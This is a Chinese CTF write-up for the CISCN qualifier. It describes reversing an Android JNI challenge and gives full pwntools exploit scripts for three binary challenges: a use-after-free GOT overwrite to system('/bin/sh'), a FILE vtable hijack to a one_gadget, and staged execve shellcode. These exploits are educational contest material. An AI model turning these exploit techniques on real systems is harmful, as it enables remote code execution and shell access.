前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Writeup丨国赛线上初赛解题最后一波~

Writeup丨国赛线上初赛解题最后一波~

作者头像
安恒网络空间安全讲武堂
发布2018-06-26 11:32:42
7160
发布2018-06-26 11:32:42
举报

最后两趴...

是的~今天给出的是这次国赛最后两部分:Mobile和Pwn。

--------------- 特别感谢BXS战队 ---------------

再过几天放出西湖论剑杯的writeup啦~有没有期待的小伙伴?

PART5. MOBILE

Illusion

这题考的是Android原生代码加载方式吧。。(没学过apk的表示压力很大)不过拿了个二血,美滋滋。

用jeb分析下,逻辑很简单,onCreate设置按钮监听器,然后调用so的check函数和assets下的flag对比。

然后分析so文件。从jni_load开始,这里先获取环境变量,然后FindClass获取类,之后通过jclass,调用RegisterNatives来注册原生的JNI方法,这里的off_4004其实是个JNINativeMethod的结构体。

为了方便分析,我们插入JNINativeMethod结构体。然后根据该结构体的成员,找到关键的check函数。

其实这里还有个问题,这里写了2个注册的方式不同的CheckFlag函数,因为上层的java的写不是静态的native方法,而是成员方法。所以这里调用的不是那个很明显的checkflag函数(下图),而是成员方法,即位于JNINativeMethod结构体中的那个函数指针。

上图是假的checkflag函数。下图是真的checkflag函数。

对比可以发现,对引用的参数不一样。

然后分析关键的sub_10C0函数。

由于a2参数总是0x5d,所以,else语句总不会执行。

然后进入sub_1028函数分析。

看到这里,emm,简直和2018腾讯游戏安全Android资格赛的一个函数如出一辙,(可能是编译器函数?没研究过)这里的逻辑我就不说了,最关键的几步不对,ida反编译出错了。看汇编吧。。。

在sub_10c0函数的入口,就有一个push操作,然后跳转到sub_1027函数,如果参数一比参数二小,那就会直接返回参数一。否则在执行完一堆的函数后,最后返回到这里,执行pop指令,弹出r1-r3的值。所以里面那个函数并不用分析。

总结起来就是:如果传入的参数的值比0x5d大,则返回该值;否则返回2个值的差值。

最后再都加上0x20,然后strcmp。写脚本还原就好了。

脚本如下:

Flag:CISCN{GJ5728}

PART6. Pwn

1.Supermarket

程序realloc函数使用错误,可造成uaf利用,先泄露puts_addr,进而计算system_addr,之后将atoi@got覆盖为system,传入/bin/sh,脚本如下

# coding:utf-8

from pwn import *

debug=0

context.log_level='debug'

elf = ELF('./task_supermarket')

if debug:

p=process('./task_supermarket')

# context.log_level='debug'

# gdb.attach(p)

libc=ELF('/home/moonagirl/moonagirl/libc/libc_local_x32')

one_gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]

else:

p=remote('49.4.23.67', 32366)#

libc = ELF('/home/moonagirl/moonagirl/libc/libc6-i386_2.23-0ubuntu9_amd64.so')

one_gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]

def ru(x):

return p.recvuntil(x)

def se(x):

p.send(x)

def z(a=''):

gdb.attach(p,a)

if a == '':

raw_input()

def add(name,price,sz,des):

se('1\n')

ru('name:')

se(name+'\n')

ru('price:')

se(str(price)+'\n')

ru('descrip_size:')

se(str(sz)+'\n')

ru('description:')

se(des)

ru('your choice>>')

def delete(name):

se('2\n')

ru('name:')

se(name+'\n')

ru('your choice>>')

def list():

se('3\n')

ru('all commodities info list below:')

data=ru('---------menu---------')

ru('your choice>>')

return data

def change_price(name,price):

se('4\n')

ru('name:')

se(name+'\n')

ru('input the value you want to cut or rise in:')

se(str(price)+'\n')

ru('your choice>> ')

def change_des(name,sz,des):

se('5\n')

ru('name:')

se(name+'\n')

ru('descrip_size:')

se(str(sz)+'\n')

ru('description:')

se(des)

ru('your choice>> ')

add('1',1,28,'a\n')

add('2',1,28,'b\n')

change_des('1',50,'\x00\n')

add('3',1,28,'c\n')

fake_item=p32(0x33)+p32(0)*3+p32(1)+'\xf0'

change_des('1',28,fake_item+'\n')

add('4',1,28,'d\n')

payload = p32(0x63) + p32(0)*6 + p32(0x21) + p32(0x34) + p32(0)*3 + p32(1) + p32(0x1c) + p32(elf.got['puts'])

payload = payload.ljust(0xf0,'\x00')

change_des('3',0xf0,payload+'\n')

# list()

list()

p.sendline('3')

p.recvuntil('4: price.1, des.')

data = u32(p.recv(4).ljust(4,'\x00'))

print '------------------------------------------------------------------------------'

success('puts_addr:'+hex(data))

libc_base = data - libc.symbols['puts']

success('libc_base:'+hex(libc_base))

malloc_hook = libc_base + libc.symbols['__malloc_hook']

success('malloc_hook:'+hex(malloc_hook))

gadget = libc_base + one_gadgets[3]

success('gadget:'+hex(gadget))

payload = p32(0x63) + p32(0)*6 + p32(0x21) + p32(0x34) + p32(0)*3 + p32(1) + p32(0x1c) + p32(elf.got['atoi'])

payload = payload.ljust(0xf0,'\x00')

change_des('3',0xf0,payload+'\n')

system_addr = libc_base + libc.symbols['system']

success('system_addr:'+hex(system_addr))

change_des('4',0x1c,p32(system_addr).ljust(0x1c,'\x00'))

p.sendline('\n')

p.sendline('/bin/sh\x00')

p.interactive()

2. magic

存在整数溢出,可通过传入-2更改log_file结构体的write_base域进而将log_file的read_ptr改成puts_got泄露libc地址,最后将vtable覆盖指向堆上,在堆上将虚表函数覆盖为one_gagdet

# coding:utf-8

from pwn import *

debug=0

#context.log_level='debug'

elf = ELF('./task_magic')

libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')

if debug:

p = process('./task_magic',env={'LD_PRELOAD':'/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so'})

# libc=ELF('/home/moonagirl/moonagirl/libc/libc_local_x64')

# gdb.attach(p)

else:

p = remote('49.4.23.164', 32232)# 49.4.23.164 32232

libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')

# one_gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]

def z(a=''):

gdb.attach(p,a)

if a == '':

raw_input()

def create(name):

p.send('1\n')

p.recvuntil('Give me the wizard\'s name:')

p.send(name)

p.recvuntil('choice>>')

def spell(idx,name):

p.send('2\n')

p.recvuntil('Who will spell:')

p.send(str(idx))

p.recvuntil('Spell name:')

p.send(name)

return p.recvuntil('choice>>')

def final_chance(idx):

p.send('3\n')

p.recvuntil('Who got the final_chance:')

p.sendline(str(idx))

p.recvuntil('choice>> ')

create('1')

spell(0,'a')

for i in range(13):

spell(-2,'\x00\x00\x00\x00')

spell(-2,'\x00\x00\xe0')

data=spell(0,'\xa8'+p64(0x602020))

puts=u64(data[:8])

base=puts-libc.symbols['puts']

success('base:'+hex(base))

p.send('3\n')

p.recvuntil('Who got the chance:')

p.sendline(str(-2))

p.recvuntil('choice>> ')

for i in range(5):

spell(0,'\x00'*8)

heap=u64(spell(0,'\x00'*8)[:8])-0x10

for i in range(13):

spell(-2,'\x00'*10)

chunk_addr=heap + 0x12f0

create('a'*16+p64(base+0x07CD01))

#create('a'*16+p64(0xdeadbeef))

pause()

p.send('2\n')

p.recvuntil('Who will spell:')

p.send(str(0))

p.recvuntil('Spell name:')

p.send(p64(0)+ p64(chunk_addr - 0x30)+p64(base + 0xf02a4))

p.interactive()

3.note

这题很简单,直接将free@got覆盖为堆地址,并在堆上写入shellcode,之后直接调用free执行shellcode即可

# coding:utf-8

from pwn import *

debug=1

#context.log_level='debug'

elf = ELF('./task_note_service2_OG37AWm')

#libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')

if debug:

p = process('./task_note_service2_OG37AWm')#,env={'LD_PRELOAD':'/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so'})

# gdb.attach(p)

else:

p = remote('49.4.23.164', 32321)# 49.4.23.164 32321

# libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')

# one_gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]

def z(a=''):

gdb.attach(p,a)

if a == '':

raw_input()

def add(index,size,content):

p.recvuntil('your choice>> ')

p.sendline('1')

p.recvuntil('index:')

p.sendline(str(index))

p.recvuntil('size:')

p.sendline(str(size))

p.recvuntil('content:')

p.sendline(content)

def free(index):

p.recvuntil('your choice>> ')

p.sendline('4')

p.recvuntil('index:')

p.sendline(str(index))

code = """

push rbp

pop rax

push rdx

pop rsi

"""

#[heap]:000055BF95A36028 and [rax], eax

add(-17,8,asm(code,arch="amd64"))

code = """

xor rbx,rbx

push rbp

pop rcx

push rbx

pop rdx

"""

#[heap]:000055BF95A36047 add [rcx], ah

add(0,8,asm(code,arch="amd64"))

code = """

push rbx

pop rsi

xor rsi,rsi

xor rdx,rdx

"""

#[heap]:000055BF95A36067 add [rcx], ah

add(1,8,'\x90'+asm(code,arch="amd64"))

code = """

xor rax,rax

movzx rax,0x3b

syscall

"""

add(2,8,'\x90'+asm(code,arch="amd64"))

add(5,8,'/bin/sh\x00')

free(5)

p.interactive()

-END-

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-05-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
游戏安全
游戏安全领航者,基于10余年的经验沉淀,倾力打造一站式游戏安全解决方案。覆盖游戏反外挂、游戏加固、内容安全、经济安全等多种安全服务,专业构筑游戏安全防线。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档